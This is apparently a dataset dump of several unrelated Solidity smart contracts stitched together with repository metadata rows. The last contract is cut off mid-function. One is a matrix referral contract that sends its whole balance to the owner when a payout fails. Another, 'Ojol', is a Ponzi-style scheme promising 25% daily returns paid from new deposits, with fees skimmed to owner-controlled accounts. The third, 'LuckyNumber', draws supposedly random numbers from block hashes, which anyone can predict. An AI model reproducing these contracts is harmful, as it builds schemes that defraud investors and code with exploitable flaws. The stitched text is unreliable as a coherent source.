if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
if(level>1)
return sendETHDividends(owner, userAddress, 2, level);
else
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != owner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(owner, address(0), userAddress, 2, level);
sendETHDividends(owner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool, uint256) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked,
users[userAddress].x3Matrix[level].reinvestCount);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address, uint256) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].closedPart,
users[userAddress].x6Matrix[level].reinvestCount);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
address(uint160(owner)).send(address(this).balance);
return;
}
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
}
//41a4e7176790732f8a2a7593902d63748386923531
| 302,340 | 12,031 |
7b8ee3843b0da6544584fb8de8494ec7c83bce3d8e575b8185eb90221a1dda0d
| 18,327 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TD/TD7yfaSWTrVqc78L88uCVPXRbEfCfwvHS1_Ojol.sol
| 4,835 | 17,542 |
//SourceUnit: coba.sol
pragma solidity 0.5.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Investor {
address addr;
uint256 checkpoint;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 reinvestWallet;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
uint256 level1RefCount;
uint256 level2RefCount;
uint256 level3RefCount;
}
}
contract Ownable {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
}
contract Ojol is Ownable {
using SafeMath for uint256;
uint256 public constant DEVELOPER_RATE = 40; // 4% Team, Operation & Development
uint256 public constant MARKETING_RATE = 40; // 4% Marketing
uint256 public constant REFERENCE_RATE = 180; // 18% Total Refer Income
uint256 public constant REFERENCE_LEVEL1_RATE = 100; // 10% Level 1 Income
uint256 public constant REFERENCE_LEVEL2_RATE = 50; // 5% Level 2 Income
uint256 public constant REFERENCE_LEVEL3_RATE = 30; // 3% Level 3 Income
uint256 public constant MINIMUM = 100e6; // Minimum investment : 100 TRX
uint256 public constant REFERRER_CODE = 1000; // Root ID : 1000
uint256 public constant PLAN_INTEREST = 250; // 25% Daily Roi
uint256 public constant PLAN_TERM = 8 days; // 8 Days
uint256 public constant CONTRACT_LIMIT = 800; // 20% Unlocked for Withdrawal Daily
uint256 public contract_balance;
uint256 private contract_checkpoint;
uint256 public latestReferrerCode;
uint256 public totalInvestments_;
uint256 public totalReinvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
event onInvest(address investor, uint256 amount);
event onReinvest(address investor, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
_init();
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function setDeveloperAccount(address payable _newDeveloperAccount) public onlyOwner {
require(_newDeveloperAccount != address(0));
developerAccount_ = _newDeveloperAccount;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256,uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, investor.plans[i].investmentDate.add(PLAN_TERM), investor.plans[i].lastWithdrawalDate);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, PLAN_INTEREST, block.timestamp, investor.plans[i].lastWithdrawalDate);
}
}
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.reinvestWallet,
investor.referrer,
investor.level1RefCount,
investor.level2RefCount,
investor.level3RefCount,
investor.planCount,
investor.checkpoint,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
} else {
isExpireds[i] = false;
if (PLAN_TERM > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(PLAN_TERM)) {
isExpireds[i] = true;
}
}
}
}
return
(investmentDates,
investments,
currentDividends,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
if (_referrerCode >= REFERRER_CODE) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uid2Investor[_ref1].level1RefCount = uid2Investor[_ref1].level1RefCount.add(1);
if (_ref2 >= REFERRER_CODE) {
uid2Investor[_ref2].level2RefCount = uid2Investor[_ref2].level2RefCount.add(1);
}
if (_ref3 >= REFERRER_CODE) {
uid2Investor[_ref3].level3RefCount = uid2Investor[_ref3].level3RefCount.add(1);
}
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {
//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function _reinvestAll(address _addr, uint256 _amount) private returns (bool) {
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
totalReinvestments_ = totalReinvestments_.add(_amount);
return true;
}
function invest(uint256 _referrerCode) public payable {
if (_invest(msg.sender, _referrerCode, msg.value)) {
emit onInvest(msg.sender, msg.value);
}
}
function withdraw() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not withdraw because no any investments");
require(withdrawAllowance(), "Withdraw are not allowed between 0am to 4am UTC");
//only once a day
require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if(withdrawalAmount>0){
uint256 currentBalance = getBalance();
if(withdrawalAmount >= currentBalance){
withdrawalAmount=currentBalance;
}
require(currentBalance.sub(withdrawalAmount) >= contract_balance.mul(CONTRACT_LIMIT).div(1000), "80% contract balance limit");
uint256 reinvestAmount = withdrawalAmount.div(2);
if(withdrawalAmount > 90e9){
reinvestAmount = withdrawalAmount.sub(45e9);
}
//reinvest
uid2Investor[uid].reinvestWallet = uid2Investor[uid].reinvestWallet.add(reinvestAmount);
//withdraw
msg.sender.transfer(withdrawalAmount.sub(reinvestAmount));
uint256 developerPercentage = (withdrawalAmount.mul(DEVELOPER_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (withdrawalAmount.mul(MARKETING_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
}
emit onWithdraw(msg.sender, withdrawalAmount);
}
function reinvest() public {
uint256 uid = address2UID[msg.sender];
require(uid != 0, "Can not reinvest because no any investments");
//only once a day
require(block.timestamp > uid2Investor[uid].checkpoint + 1 days , "Only once a day");
uid2Investor[uid].checkpoint = block.timestamp;
uint256 withdrawalAmount = 0;
for (uint256 i = 0; i < uid2Investor[uid].planCount; i++) {
if (uid2Investor[uid].plans[i].isExpired) {
continue;
}
bool isExpired = false;
uint256 withdrawalDate = block.timestamp;
uint256 endTime = uid2Investor[uid].plans[i].investmentDate.add(PLAN_TERM);
if (withdrawalDate >= endTime) {
withdrawalDate = endTime;
isExpired = true;
}
uint256 amount = _calculateDividends(uid2Investor[uid].plans[i].investment , PLAN_INTEREST , withdrawalDate , uid2Investor[uid].plans[i].lastWithdrawalDate);
withdrawalAmount += amount;
uid2Investor[uid].plans[i].lastWithdrawalDate = withdrawalDate;
uid2Investor[uid].plans[i].isExpired = isExpired;
uid2Investor[uid].plans[i].currentDividends += amount;
}
if (uid2Investor[uid].availableReferrerEarnings>0) {
withdrawalAmount += uid2Investor[uid].availableReferrerEarnings;
uid2Investor[uid].referrerEarnings = uid2Investor[uid].availableReferrerEarnings.add(uid2Investor[uid].referrerEarnings);
uid2Investor[uid].availableReferrerEarnings = 0;
}
if (uid2Investor[uid].reinvestWallet>0) {
withdrawalAmount += uid2Investor[uid].reinvestWallet;
uid2Investor[uid].reinvestWallet = 0;
}
if(withdrawalAmount>0){
//reinvest
_reinvestAll(msg.sender,withdrawalAmount);
}
emit onReinvest(msg.sender, withdrawalAmount);
}
function _calculateDividends(uint256 _amount, uint256 _dailyInterestRate, uint256 _now, uint256 _start) private pure returns (uint256) {
return (_amount * _dailyInterestRate / 1000 * (_now - _start)) / (60*60*24);
}
function _calculateReferrerReward(uint256 _investment, uint256 _referrerCode) private {
uint256 _allReferrerAmount = (_investment.mul(REFERENCE_RATE)).div(1000);
if (_referrerCode != 0) {
uint256 _ref1 = _referrerCode;
uint256 _ref2 = uid2Investor[_ref1].referrer;
uint256 _ref3 = uid2Investor[_ref2].referrer;
uint256 _refAmount = 0;
if (_ref1 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL1_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref1].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref1].availableReferrerEarnings);
}
if (_ref2 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL2_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref2].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref2].availableReferrerEarnings);
}
if (_ref3 != 0) {
_refAmount = (_investment.mul(REFERENCE_LEVEL3_RATE)).div(1000);
_allReferrerAmount = _allReferrerAmount.sub(_refAmount);
uid2Investor[_ref3].availableReferrerEarnings = _refAmount.add(uid2Investor[_ref3].availableReferrerEarnings);
}
}
}
function updateBalance() public {
//only once a day
require(block.timestamp > contract_checkpoint + 1 days , "Only once a day");
contract_checkpoint = block.timestamp;
contract_balance = getBalance();
}
function getHour() public view returns (uint8){
return uint8((block.timestamp / 60 / 60) % 24);
}
function withdrawAllowance() public view returns(bool){
uint8 hour = getHour();
if(hour >= 0 && hour <= 3){
return false;
}
else{
return true;
}
}
}
| 297,267 | 12,032 |
581ffce15f6ff481580081a8bbceeb0f351dbaea665bc4485bed54a6a90ec2f3
| 13,356 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x75e494f8a92ad1daa4fd6e78cbac33f84c2f25b9.sol
| 3,808 | 13,216 |
pragma solidity ^0.4.15;//MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOkOKWMMMMMM //
// MMMMWKkk0KNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWNKOkOKWMMMMMM //
// MMMMXl.....,cdOXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXOo:,.....dNMMMM //
// MMMWd. .'cxKWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMW0d:'. .xMMMM //
// MMMK, ...... ..:xXWMMMMMMMMMMMMMMMMMMMMMMMMMMMMWKd;. ..... :XMMM //
// MMWd. .;;;,,'.. .'lkXNWWNNNWMMMMMMMMMMWNNWWWNKkc.. ...',;;;,. .kMMM //
// MMNc .,::::::;,'.. ..,;;,,dNMMMMMMMMMMXl,;;;,.. ..';;::::::'. .lWMM //
// MM0' .;:::::::;;'.. ;0MMMMMMMMMMMWO' ..,;;:::::::;. ;KMM //
// MMx. .';::::;,'... .:0MMMMMMMMMMMMMWO;. ...';;::::;.. .OMM //
// MWd. .,:::;'.. .,xNMMMMMMMMMMMMMMMMXd'. ..,;:::'. .xMM //
// MNl. .,:;'.. .,ckNMMMMMMMMMMMMMMMMMMMMXxc'. ..';:,. .dWM //
// MNc .,,.. .;:clox0NWXXWMMMMMMMMMMMMMMMMMMWXXWXOxolc:;. ..,'. .oWM //
// MNc ... .oWMMMNXNMW0odXMMMMMMMMMMMMMMMMKooKWMNXNMMMNc. ... .oWM //
// MNc. ;KMMMMNkokNMXlcKMMMMMMMMMMMMMM0coNMNxoOWMMMM0, .oWM //
// MNc .;0MMMMMMWO:dNMNoxWMMMMMMMMMMMMNddNMNocKMMMMMMWO, .oWM //
// MX: .lXMMMMMMMMM0lOMMNXWMMMMMMMMMMMMWXNMMklKMMMMMMMMM0:. .lNM //
// MX; .;kWMMMMMMMMMMMXNMMMMMMMMMMMMMMMMMMMMMMNNMMMMMMMMMMMNx,. cNM //
// MO. .:kNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNx:. . ,0M //
// Wl..':dKWMMMMMMMWNK000KNMMMMMMMMMMMMMMMMMMMMMMMMMWNK000KNMMMMMMMMW0o;...dW //
// NxdOXWMMMMMMMW0olcc::;,,cxXWMMMMMMMMMMMMMMMMMMWKd:,,;::ccld0WMMMMMMMWKkokW //
// MMMMMMMMMMMWOlcd0XWWWN0x:.,OMMMMMMMMMMMMMMMMMWk,'cxKNWWWXOdcl0MMMMMMMMMMMM //
// MMMMMMMMMMMWKKWMMMMMMMMMWK0XMMMMMMMMMMMMMMMMMMXOXWMMMMMMMMMN0XMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWK0OOOO0KWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNo.......'xWMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMNKOkkkk0XNMMMMMMMMMMMMMMMMMMWO;. .:0WMMMMMMMMMMMMMMMMMWNKOkkkkOKNMMM //
// MMWXOkxddoddxxkKWMMMMMMMMMMMMMMMMXo...'dNMMMMMMMMMMMMMMMMN0kxxdodddxk0XMMM //
// MMMMMMMMMMMMWNKKNMMMMMMMMMMMMMMMMWOc,,c0WMMMMMMMMMMMMMMMMXKKNWMMMMMMMMMMMM //
// MMMMMMMMWXKKXXNWMMMMMMMMMMWWWWWX0xcclc:cxKNWWWWWMMMMMMMMMMWNXXKKXWMMMMMMMM //
// MMMWXOxdoooddxkO0NMMMMMMMWKkfoahheitNX0GlikkxxkXMMMMMMMWX0OkxddooddxOXWMMM //
// MMMWXKKNNWMMMMMWWWMMMMMMMMMWNXXXNWMMMMMMWXXXXNWMMMMMMMMMWWWMMMMWWNXKKNWMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Lucky* MMMM> *~+. drohmah <MMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Number MMMMMMMMMM> funn <MMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM ------ MMMMMMMMM> drohma *~+. <MMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Random MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM Ledger MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// MMMMM>***<creator>...<MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// ~> 0x0563cAC61Ea13a591A9E41087929f80d3076471d <~+~+~+~> VIII*XII*MMXVII <~ //
// MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM //
// Manages contract ownership.
contract Owned {
address public owner;
function owned() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
owner = _newOwner;
}
}
contract Mortal is Owned {
function kill() onlyOwner {
selfdestruct(owner);
}
}
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
// Random is a block hash based random number generator.
// this is public so requestors can validate thier numbers
// independent of the native user interface
contract Random is SafeMath {
// Generates a random number from 1 to max based on the last block hash.
function getRand(uint blockNumber, uint max)
public
constant
returns(uint) {
// block.blockhash(uint blockNumber) returns (bytes32): hash of the given block
// only works for 256 most recent blocks excluding current
return(safeAdd(uint(sha3(block.blockhash(blockNumber))) % max, 1));
}
}
// LuckyNumber is the main public interface for a random number ledger.
// To make a request:
// Step 1: Call requestNumber with the `cost` as the value
// Step 2: Wait waitTime in blocks past the block which mines transaction for requestNumber
// Step 3: Call revealNumber to generate the number, and make it publicly accessable in the UI.
// this is required to create the Events which generate the Ledger.
contract LuckyNumber is Owned {
// cost to generate a random number in Wei.
uint256 public cost;
// waitTime is the number of blocks before random is generated.
uint8 public waitTime;
// set default max
uint256 public max;
// PendingNumber represents one number.
struct PendingNumber {
address proxy;
uint256 renderedNumber;
uint256 creationBlockNumber;
uint256 max;
// block to wait
// this will also be used as
// an active bool to save some storage
uint8 waitTime;
}
// for Number Config :: uint256 cost, uint256 max, uint8 waitTime
event EventLuckyNumberUpdated(uint256, uint256, uint8);
// for Number Ledger
// :: address requestor, uint256 max, uint256 creationBlockNumber, uint8 waitTime
event EventLuckyNumberRequested(address, uint256, uint256, uint8);
// :: address requestor, uint256 creationBlockNumber, uint256 renderedNumber
event EventLuckyNumberRevealed(address, uint256, uint256);
mapping (address => PendingNumber) public pendingNumbers;
mapping (address => bool) public whiteList;
function requestNumber(address _requestor, uint256 _max, uint8 _waitTime) payable public;
function revealNumber(address _requestor) payable public;
}
// LuckyNumber Implementation
contract LuckyNumberImp is LuckyNumber, Mortal, Random {
// Initialize state +.+.+.
function LuckyNumberImp() {
owned();
// defaults
cost = 20000000000000000; // 0.02 ether // 20 finney
max = 15; // generate number between 1 and 15
waitTime = 3; // 3 blocks
}
// Let owner customize defauts.
// Allow the owner to set max.
function setMax(uint256 _max)
onlyOwner
public
returns (bool) {
max = _max;
EventLuckyNumberUpdated(cost, max, waitTime);
return true;
}
// Allow the owner to set waitTime. (in blocks)
function setWaitTime(uint8 _waitTime)
onlyOwner
public
returns (bool) {
waitTime = _waitTime;
EventLuckyNumberUpdated(cost, max, waitTime);
return true;
}
// Allow the owner to set cost.
function setCost(uint256 _cost)
onlyOwner
public
returns (bool) {
cost = _cost;
EventLuckyNumberUpdated(cost, max, waitTime);
return true;
}
// Allow the owner to set proxy contracts,
// which can accept tokens on behalf of this contract.
function enableProxy(address _proxy)
onlyOwner
public
returns (bool) {
// _cost
whiteList[_proxy] = true;
